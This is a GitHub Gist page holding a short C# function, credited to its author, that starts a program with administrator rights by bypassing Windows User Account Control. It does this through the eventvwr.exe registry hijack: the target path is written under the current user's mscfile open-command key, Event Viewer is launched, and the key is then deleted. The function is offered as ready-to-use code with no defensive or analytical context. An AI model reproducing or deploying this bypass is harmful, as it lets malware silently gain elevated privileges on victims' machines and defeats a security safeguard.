Last active
June 13, 2018 12:21
-
-
Save Rottweiler/83008400263991bc23d5b5f7a364675c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/// <summary> | |
/// Start elevated process with UAC bypass. | |
/// Credits: Rottweiler | |
/// </summary> | |
/// <param name="filename"></param> | |
static void UACStart(string filename) | |
{ | |
if (Environment.OSVersion.Version.Major >= 6) | |
{ | |
string filename_safe = Path.GetFullPath(filename); | |
Registry.CurrentUser.CreateSubKey(@"Software\Classes\mscfile\shell\open\command", RegistryKeyPermissionCheck.ReadWriteSubTree) | |
.SetValue(string.Empty, filename_safe); | |
Process p = Process.Start("eventvwr.exe"); | |
p.WaitForExit(); | |
Registry.CurrentUser.DeleteSubKey(@"Software\Classes\mscfile\shell\open\command"); | |
}else | |
{ | |
Process.Start(filename, "runas"); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment